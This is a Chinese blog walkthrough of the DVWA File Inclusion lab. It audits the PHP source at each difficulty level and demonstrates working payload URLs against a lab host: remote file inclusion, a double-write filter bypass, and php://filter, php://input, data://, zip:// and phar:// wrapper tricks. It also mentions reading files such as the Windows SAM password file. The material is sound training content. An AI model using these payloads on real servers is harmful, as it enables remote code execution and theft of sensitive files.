DVWA-File Inclusion(文件包含)
文件包含漏洞,当我们在一个代码文件想要引入、嵌套
另一个代码文件的时候,就是文件包含。
常见的文件包含函数有include require
等函数。
这两个函数的区别就是include在包含文件不存在时php代码会继续往下执行,而require则终止php代码的执行
Include:包含一个文件
Include_once:判断文件是否被包含过,一位文件只能包含一次
require:于include相同
require_once:与require_once相同
为什么文件包含有漏洞?
在一般情况下,开发者想要的是包含一个期望的PHP文件,但是攻击者可以包含一些恶意的PHP文件,直接在服务器执行PHP代码
特性:包含的代码会当做PHP文件执行。
文件包含的危害很大,既可以命令执行获取靶机权限,也可以造成信息泄露
文件包含需要在php.ini
中开启这两个配置
allow_url_include
:允许包含http://、https、ftp://
allow_url_fopen
:允许include、require包含http://、ftp://
了解了简单的文件包含,开始DVWA-File Inclusion
的攻略
Low
审计源码
<?php
// 获取传入的page
$file = $_GET[ 'page' ];
?>
从这里可以看出,对page
没有进行任何的过滤
在kali
的Web
服务器写入一个test.php
,内容为<?php phpinfo();?>
然后再DVWA靶场test.php文件
http://172.16.1.103/dvwa/vulnerabilities/fi/?page=http://172.16.1.104/test.php
成功执行phpinfo()
文件包含不仅可以执行命令,可以进行信息泄露,如果包含的文件不是php代码,会将文件直接显示
在kali中创建一个a.txt
,内容为hello world
可以看到,a.txt内容不是php代码,直接显示了hello world
接着我们看下一关
Medium
审计源码
<?php
// 获取传入 page
$file = $_GET[ 'page' ];
// 将 http:// https:// 转换为空
$file = str_replace( array( "http://", "https://" ), "", $file );
// 将 ../ ..\\ 转化为空
$file = str_replace( array( "../", "..\\" ), "", $file );
?>
这里将http://、https://、../、..\\
转换为了空,但是根据str_replace
的特性,只会将转换为空一次,所以我们可以进行双写绕过
http://172.16.1.103/dvwa/vulnerabilities/fi/?page=htthttp://p://172.16.1.104/test.php
成功执行phpinfo()
那么接着看下一关
High
审计源码
<?php
// 获取传参 page
$file = $_GET[ 'page' ];
// 传入 page 只能是以 file 开头或者 include.php 文件
// fnmatch() 查找一个字符串,可以使用shell中的通配符 * ?,匹配成功返回 true,失败返回 False
// 在 fnmatch 前面加入了一个 ! 代表取反,代表就是 如果匹配失败返回为false 取反为true
// 然后打印找不到文件
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
这里要求我们必须是以file
开头或者include.php
文件,这里可以使用file://
协议进行文件包含
在我们使用浏览器打开一个本地的文件时,使用的就是file协议
所以我们就可以包含一个服务器本地的文件,例如常见的危险文件
c:\Windows\System32\config\SAM
: Windows密码文件
c:\Windows\php.ini
: php.ini文件
这里包含服务器的D:\phpstudy_pro\WWW\user.txt
但是这种操作是不可取的,因为在实战中我们并不知道服务器的文件在哪里,甚至是文件名目录.
这里就利用靶场中同等级File Upload(文件上传)
漏洞进行上传图片木马,然后通过反馈文件地址,进行文件包含获取服务器控制权限
见:DVWA-File Upload(文件上传)
Impossible
审计源码
<?php
// 获取传参 page
$file = $_GET[ 'page' ];
// 只能包含 下面这几个文件
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
// 退出代码执行
echo "ERROR: File not found!";
exit;
}
?>
可以看到这真是一个明确的决定,代码已经写死了,只能包含上述这几个文件
文件包含常用的协议
在上述中,我们学习了简单的文件包含,在文件包含中,其实还有好多强大协议可以用,我么只是用了一个file://
协议
php://filter协议
php://filter
协议,可以使用base64编码
查看文件内容
这里将DVWA
级别设置为Low
方便测试
格式为
php://filter/read=convert.base64-encode/resource=文件路径/名
比如包含D:\phpstudy_pro\WWW\user.txt
http://172.16.1.103/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=D:\phpstudy_pro\WWW\user.txt
查看成功,破解base64
编码的方法有很多,burpsuite
的编码模块,还有kali自带的base64
命令,python的base64模块
import base64
a = "cm9vdA0KdG9vcg0KYWRtaW5pc3RyYXRvcg0KQWRtaW5pc3RyYXRvcg0Ka2FsaQ0KYWRtaW4NCg== "
print(base64.b64decode(a))
其实呢,也不用费这么大的劲,可以直接读取文件内容的,将read=后面的convert.base64/encode去掉即可
php://filter/read=/resource=文件路径/名
读取成功
php://input协议
php://input
协议可以直接执行PHP代码,执行的php代码需要POST方式进行传参
使用burpsuite抓包修改
成功执行
data://协议
data://
协议也可以直接执行PHP代码
格式为
data://text/plain,PHP代码
测试:http://172.16.1.103/dvwa/vulnerabilities/fi/?page=data://text/plain,%3C?php%20phpinfo();?%3E
执行成功
可以使用base64
的方式进行提交
格式为
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+
测试:http://172.16.1.103/dvwa/vulnerabilities/fi/?page=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+
这里错误的原因是在url中+
号为空格的意思,在我们提交的base64字符中,最后的字符为8
。
那么只需要将+
的url编码填入即可
通过burpsuite
得到+
号的url编码为%2b
所以将+替换为%2b
http://172.16.1.103/dvwa/vulnerabilities/fi/?page=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
执行成功
zip:// 压缩流伪协议
我们只需要在zip压缩宝中放入一个文件,内容为php代码即可
例如这里test.zip
中的文件名为a.txt
,内容为<?php phpinfo();?>
格式为
zip://D:\phpstudy_pro\WWW\test.zip#a.txt
测试:http://172.16.1.103/dvwa/vulnerabilities/fi/?page=zip://D:\phpstudy_pro\WWW\test.zip%23a.txt
这里本应该输入#
号,但是#
输入错误,应该是url编码的问题,所以换为了%23
为#的URL编码,成功
phar://协议
phar://
协议和zip协议极其的类似,只需要将#
号换为/
即可
phar://D:/phpstudy_pro/WWW/test.phar/a.txt
测试:http://172.16.1.103/dvwa/vulnerabilities/fi/?page=phar://D:/phpstudy_pro/WWW/test.phar/a.txt
执行成功
compress.zlib//和compress.bzip2://
一个针对gz
后缀的文件一个针对bz2
的后缀文件
首先看compress.zlib
测试:http://172.16.1.103/dvwa/vulnerabilities/fi/?page=compress.zlib://D:/phpstudy_pro/WWW/test.tar.gz
然后看compress.bzip2
这里bz2
的压缩文件在windows
中是不支持压缩的好像,需要在linux
中安装bzip2
,执行bzip2 -z 文件名
才可以压缩
测试:http://172.16.1.103/dvwa/vulnerabilities/fi/?page=compress.bzip2://D:/phpstudy_pro/WWW/a.txt.bz2
如果你的这里执行失败,报错Unable to find the wrapper "compress.bzip2
,这样的信息,是没有安装bzip2
模块
在phpstudy
中勾选php_bz2
进行安装即可
DVWA-File Inclusion(文件包含)的更多相关文章
- DVWA之File Inclusion(文件包含)
目录 LOW: Medium: High Impossible LOW: 源代码: <?php // The page we wish to display $file = $_GET[ 'pa ...
- Pikachu-File Inclusion(文件包含漏洞)
File Inclusion(文件包含漏洞)概述 文件包含,是一个功能.在各种开发语言中都提供了内置的文件包含函数,其可以使开发人员在一个代码文件中直接包含(引入)另外一个代码文件. 比如 在PHP中 ...
- DVWA File Inclusion 通关教程
File Inclusion 介绍File Inclusion,即文件包含(漏洞),是指当服务器开启allow_url_include选项时,就可以通过php的某些特性函数:include(),req ...
- dvwa——命令注入&文件包含
命令注入 commond_injection 源码.分析.payload: low: <?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input ...
- 2. DVWA亲测文件包含漏洞
Low级: 我们分别点击这几个file.php文件 仅仅是配置参数的变化: http://127.0.0.1/DVWA/vulnerabilities/fi/?page=file3.php 如 ...
- DVWA各级文件包含漏洞
File Inclusion文件包含漏洞 漏洞分析 程序开发人员通常会把可重复使用的函数写入到单个文件中,在使用某些函数时,直接调用此文件,而无需再次编写,这种调用文件的过程被称为包含. 有时候由于网 ...
- DVWA 黑客攻防演练(四)文件包含 File Inclusion
文件包含(file Inclusion)是一种很常见的攻击方式,主要是通过修改请求中变量从而访问了用户不应该访问的文件.还可以通过这个漏洞加载不属于本网站的文件等.下面一起来看看 DVWA 中的文件包 ...
- 小白日记37:kali渗透测试之Web渗透-手动漏洞挖掘(三)-目录遍历、文件包含
手动漏洞挖掘 漏洞类型 #Directory traversal 目录遍历[本台机器操作系统上文件进行读取] 使用者可以通过浏览器/URL地址或者参数变量内容,可以读取web根目录[默认为:/var/ ...
- DVWA之文件包含(File inclusion)
daFile inclusion的意思就是文件包含,当服务器开启了allow_url_include选项时,就可以通过PHP的某些特征函数 include,require和include_once,r ...
- DVWA全级别之File Inclusion(文件包含)
File Inclusion File Inclusion,意思是文件包含(漏洞),是指当服务器开启allow_url_include选项时,就可以通过php的某些特性函数(include(),req ...
随机推荐
- ES6的模块化(export导出)
ES6 Module把一个文件当作一个模块,每个模块有自己的独立作用域,那如何把每个模块联系起来呢?核心点就是模块的导入(import)与导出(export). 模块化的好处: 防止命名冲突 代码复用 ...
- C# TreeView查获节点并选中节点
在一个项目中用到了TreeView,但是每次刷新TreeView的数据之后,所有的节点都会折叠起来 非常影响用户体验,使用下面的方法可以解决这个问题 string LastSelectNode = & ...
- Pod资源的基础管理操作(Kubernetes)
Pod是Kubernetes API中的核心资源类型,它可以定义在JSON或者YAML格式的资源清单中,由资源管理命令进行陈述式声明管理.创建时通过create或apply命令将请求提交到API Se ...
- php处理mysql的结果集
Php使用mysqli_result类处理结果集有以下几种方法 fetch_all() 抓取所有的结果行并且以关联数据,数值索引数组,或者两者皆有的方式返回结果集. fetch_array() 以一个 ...
- maven父子项目,由于pom文件中的<packaging>pom</packaging>导致报数据源配置错误
啊啊啊~~~ 又是踩坑的一天!!! 我在子模块中进行开发,然后子模块的pom文件中也写了<packaging>pom</packaging>导致报数据源配置错误.具体内容如下图 ...
- bootstrapTable insertRow 新增行保留原数据
思路:保留原数据,然后新增行. var optionsxx = {//省略xxx: columns: [{ checkbox: true}, { field: 'id', title: '主键', c ...
- Django基础篇 01- 初识Django
一.Django介绍 flask,FastApi是轻量级服务端开发框架 Django是重量级服务端开发框架 ORM:封装了数据库操作 form:校验请求数据 安装Django: pip install ...
- Optional类与使用==判断null有什么区别?使用Optional类有什么优势?
1.使用object==null的例子 2.null带来的问题 3.其他语言中null的处理(替代) 4.Java8的Optional类 4.1 这样做有什么好处呢? 4.2 引入Optional类的 ...
- Codeforces Round #843 (Div. 2) Problem C
C. Interesting Sequence time limit per test 1 second memory limit per test 256 megabytes input stand ...
- 初次接触软构和git(使用eclipse)
目录: 一.git和github 二.软件构造lab1常见问题(eclipse) 一.git和github 1. git的安装 百度git然后去官网安装即可,不会的可以去百度查一下. 2. git和g ...